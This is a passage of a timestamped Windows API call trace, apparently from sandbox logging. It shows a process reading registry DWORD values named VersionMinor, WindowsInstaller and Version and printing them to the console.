lpUsedDefaultChar=0x0) returned 4 [0147.492] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.492] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.492] lstrlenW (lpString="VersionMinor") returned 12 [0147.492] __iob_func () returned 0x7fefd702a80 [0147.492] _fileno (_File=0x7fefd702ab0) returned 1 [0147.492] _errno () returned 0xc4bb0 [0147.492] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.492] _errno () returned 0xc4bb0 [0147.492] GetFileType (hFile=0x50) returned 0x1 [0147.492] lstrlenW (lpString="VersionMinor") returned 12 [0147.492] GetConsoleOutputCP () returned 0x1b5 [0147.492] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0147.492] GetConsoleOutputCP () returned 0x1b5 [0147.492] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMinor", lpUsedDefaultChar=0x0) returned 12 [0147.492] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0147.492] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.493] __iob_func () returned 0x7fefd702a80 [0147.493] _fileno (_File=0x7fefd702ab0) returned 1 [0147.493] _errno () returned 0xc4bb0 [0147.493] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.493] _errno () returned 0xc4bb0 [0147.493] GetFileType (hFile=0x50) returned 0x1 [0147.493] lstrlenW (lpString=" ") returned 4 [0147.493] GetConsoleOutputCP () returned 0x1b5 [0147.493] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.493] GetConsoleOutputCP () returned 0x1b5 [0147.493] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.493] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.493] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.493] __iob_func () returned 0x7fefd702a80 [0147.493] _fileno (_File=0x7fefd702ab0) returned 1 [0147.493] _errno () returned 0xc4bb0 [0147.493] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.493] _errno () returned 0xc4bb0 [0147.493] GetFileType (hFile=0x50) returned 0x1 [0147.493] lstrlenW (lpString="REG_DWORD") returned 9 [0147.493] GetConsoleOutputCP () returned 0x1b5 [0147.493] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.494] GetConsoleOutputCP () returned 0x1b5 [0147.494] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.494] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.494] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.494] __iob_func () returned 0x7fefd702a80 [0147.494] _fileno (_File=0x7fefd702ab0) returned 1 [0147.494] _errno () returned 0xc4bb0 [0147.494] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.494] _errno () returned 0xc4bb0 [0147.494] GetFileType (hFile=0x50) returned 0x1 [0147.494] lstrlenW (lpString=" ") returned 4 [0147.494] GetConsoleOutputCP () returned 0x1b5 [0147.494] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.494] GetConsoleOutputCP () returned 0x1b5 [0147.494] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.494] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.494] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.494] __iob_func () returned 0x7fefd702a80 [0147.494] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.494] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0xa") returned 3 [0147.494] _fileno (_File=0x7fefd702ab0) returned 1 [0147.494] _errno () returned 0xc4bb0 [0147.495] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.495] _errno () returned 0xc4bb0 [0147.495] GetFileType (hFile=0x50) returned 0x1 [0147.495] lstrlenW (lpString="0xa") returned 3 [0147.495] GetConsoleOutputCP () returned 0x1b5 [0147.495] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.495] GetConsoleOutputCP () returned 0x1b5 [0147.495] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xa", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0xa", lpUsedDefaultChar=0x0) returned 3 [0147.495] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.495] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.495] __iob_func () returned 0x7fefd702a80 [0147.495] _fileno (_File=0x7fefd702ab0) returned 1 [0147.495] _errno () returned 0xc4bb0 [0147.495] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.495] _errno () returned 0xc4bb0 [0147.495] GetFileType (hFile=0x50) returned 0x1 [0147.495] lstrlenW (lpString="\n") returned 1 [0147.495] GetConsoleOutputCP () returned 0x1b5 [0147.495] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.495] GetConsoleOutputCP () returned 0x1b5 [0147.495] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.496] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.496] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.496] GetProcessHeap () returned 0x2e0000 [0147.496] GetProcessHeap () returned 0x2e0000 [0147.496] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.496] GetProcessHeap () returned 0x2e0000 [0147.496] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.496] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.496] RegEnumValueW (in: hKey=0x5c, dwIndex=0x15, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="WindowsInstaller", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.496] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.496] GetProcessHeap () returned 0x2e0000 [0147.496] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.496] GetProcessHeap () returned 0x2e0000 [0147.496] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.496] GetProcessHeap () returned 0x2e0000 [0147.496] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.496] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0147.496] __iob_func () returned 0x7fefd702a80 [0147.496] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.496] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.496] _fileno (_File=0x7fefd702ab0) returned 1 [0147.496] _errno () returned 0xc4bb0 [0147.496] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.496] _errno () returned 0xc4bb0 [0147.496] GetFileType (hFile=0x50) returned 0x1 [0147.496] lstrlenW (lpString=" ") returned 4 [0147.496] GetConsoleOutputCP () returned 0x1b5 [0147.496] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.497] GetConsoleOutputCP () returned 0x1b5 [0147.497] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.497] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.497] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.497] lstrlenW (lpString="WindowsInstaller") returned 16 [0147.497] __iob_func () returned 0x7fefd702a80 [0147.497] _fileno (_File=0x7fefd702ab0) returned 1 [0147.497] _errno () returned 0xc4bb0 [0147.497] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.497] _errno () returned 0xc4bb0 [0147.497] GetFileType (hFile=0x50) returned 0x1 [0147.497] lstrlenW (lpString="WindowsInstaller") returned 16 [0147.497] GetConsoleOutputCP () returned 0x1b5 [0147.497] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0147.497] GetConsoleOutputCP () returned 0x1b5 [0147.497] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsInstaller", lpUsedDefaultChar=0x0) returned 16 [0147.497] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 16 [0147.497] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.497] __iob_func () returned 0x7fefd702a80 [0147.497] _fileno (_File=0x7fefd702ab0) returned 1 [0147.497] _errno () returned 0xc4bb0 [0147.497] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.497] _errno () returned 0xc4bb0 [0147.498] GetFileType (hFile=0x50) returned 0x1 [0147.498] lstrlenW (lpString=" ") returned 4 [0147.498] GetConsoleOutputCP () returned 0x1b5 [0147.498] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.498] GetConsoleOutputCP () returned 0x1b5 [0147.498] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.498] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.498] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.498] __iob_func () returned 0x7fefd702a80 [0147.498] _fileno (_File=0x7fefd702ab0) returned 1 [0147.498] _errno () returned 0xc4bb0 [0147.498] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.498] _errno () returned 0xc4bb0 [0147.498] GetFileType (hFile=0x50) returned 0x1 [0147.498] lstrlenW (lpString="REG_DWORD") returned 9 [0147.498] GetConsoleOutputCP () returned 0x1b5 [0147.498] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.498] GetConsoleOutputCP () returned 0x1b5 [0147.498] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.498] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.499] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.499] __iob_func () returned 0x7fefd702a80 [0147.499] _fileno (_File=0x7fefd702ab0) returned 1 [0147.499] _errno () returned 0xc4bb0 [0147.499] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.499] _errno () returned 0xc4bb0 [0147.499] GetFileType (hFile=0x50) returned 0x1 [0147.499] lstrlenW (lpString=" ") returned 4 [0147.499] GetConsoleOutputCP () returned 0x1b5 [0147.499] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.499] GetConsoleOutputCP () returned 0x1b5 [0147.499] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.499] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.499] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.499] __iob_func () returned 0x7fefd702a80 [0147.499] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.499] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0147.499] _fileno (_File=0x7fefd702ab0) returned 1 [0147.499] _errno () returned 0xc4bb0 [0147.499] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.499] _errno () returned 0xc4bb0 [0147.499] GetFileType (hFile=0x50) returned 0x1 [0147.499] lstrlenW (lpString="0x1") returned 3 [0147.499] GetConsoleOutputCP () returned 0x1b5 [0147.500] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.500] GetConsoleOutputCP () returned 0x1b5 [0147.500] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0147.500] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.500] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.500] __iob_func () returned 0x7fefd702a80 [0147.500] _fileno (_File=0x7fefd702ab0) returned 1 [0147.500] _errno () returned 0xc4bb0 [0147.500] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.500] _errno () returned 0xc4bb0 [0147.500] GetFileType (hFile=0x50) returned 0x1 [0147.500] lstrlenW (lpString="\n") returned 1 [0147.500] GetConsoleOutputCP () returned 0x1b5 [0147.500] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.500] GetConsoleOutputCP () returned 0x1b5 [0147.500] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.500] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.500] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.500] GetProcessHeap () returned 0x2e0000 [0147.500] GetProcessHeap () returned 0x2e0000 [0147.500] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.501] GetProcessHeap () returned 0x2e0000 [0147.501] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.501] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.501] RegEnumValueW (in: hKey=0x5c, dwIndex=0x16, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Version", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.501] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.501] GetProcessHeap () returned 0x2e0000 [0147.501] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.501] GetProcessHeap () returned 0x2e0000 [0147.501] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.501] GetProcessHeap () returned 0x2e0000 [0147.501] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.501] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0xe0a61b9, pcbData=0x23f670*=0x4) returned 0x0 [0147.501] __iob_func () returned 0x7fefd702a80 [0147.501] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.501] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.501] _fileno (_File=0x7fefd702ab0) returned 1 [0147.501] _errno () returned 0xc4bb0 [0147.501] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.501] _errno () returned 0xc4bb0 [0147.501] GetFileType (hFile=0x50) returned 0x1 [0147.501] lstrlenW (lpString=" ") returned 4 [0147.501] GetConsoleOutputCP () returned 0x1b5 [0147.501] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.501] GetConsoleOutputCP () returned 0x1b5 [0147.501] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.501] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.502] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.502] lstrlenW (lpString="Version") returned 7 [0147.502] __iob_func () returned 0x7fefd702a80 [0147.502] _fileno (_File=0x7fefd702ab0) returned 1 [0147.502] _errno () returned 0xc4bb0 [0147.502] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.502] _errno () returned 0xc4bb0 [0147.502] GetFileType (hFile=0x50) returned 0x1 [0147.502] lstrlenW (lpString="Version") returned 7 [0147.502] GetConsoleOutputCP () returned 0x1b5 [0147.502] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0147.502] GetConsoleOutputCP () returned 0x1b5 [0147.502] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Version", lpUsedDefaultChar=0x0) returned 7 [0147.502] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0147.502] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.502] __iob_func () returned 0x7fefd702a80 [0147.502] _fileno (_File=0x7fefd702ab0) returned 1 [0147.502] _errno () returned 0xc4bb0 [0147.502] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.502] _errno () returned 0xc4bb0 [0147.502] GetFileType (hFile=0x50) returned 0x1 [0147.502] lstrlenW (lpString=" ") returned 4 [0147.502] GetConsoleOutputCP () returned 0x1b5 [0147.503] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.503] GetConsoleOutputCP () returned 0x1b5 [0147.503] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.503] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.503] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.503] __iob_func () returned 0x7fefd702a80 [0147.503] _fileno (_File=0x7fefd702ab0) returned 1 [0147.503] _errno () returned 0xc4bb0 [0147.503] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.503] _errno () returned 0xc4bb0 [0147.503] GetFileType (hFile=0x50) returned 0x1 [0147.503] lstrlenW (lpString="REG_DWORD") returned 9 [0147.503] GetConsoleOutputCP () returned 0x1b5 [0147.503] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.503] GetConsoleOutputCP () returned 0x1b5 [0147.503] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.503] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.503] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.503] __iob_func () returned 0x7fefd702a80 [0147.503] _fileno (_File=0x7fefd702ab0) returned 1 [0147.503] _errno () returned 0xc4bb0 [0147.503] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.504] _errno () returned 0xc4bb0 [0147.504] GetFileType (hFile=0x50) returned 0x1 [0147.504] lstrlenW (lpString=" ") returned 4 [0147.504] GetConsoleOutputCP () returned 0x1b5 [0147.504] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.504] GetConsoleOutputCP () returned 0x1b5 [0147.504] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.504] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.504] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.504] __iob_func () returned 0x7fefd702a80 [0147.504] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.504] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0xe0a61b9") returned 9 [0147.504] _fileno (_File=0x7fefd702ab0) returned 1 [0147.504] _errno () returned 0xc4bb0 [0147.504] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.504] _errno () returned 0xc4bb0 [0147.504] GetFileType (hFile=0x50) returned 0x1 [0147.504] lstrlenW (lpString="0xe0a61b9") returned 9 [0147.504] GetConsoleOutputCP () returned 0x1b5 [0147.504] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xe0a61b9", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.504] GetConsoleOutputCP () returned 0x1b5 [0147.505] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, 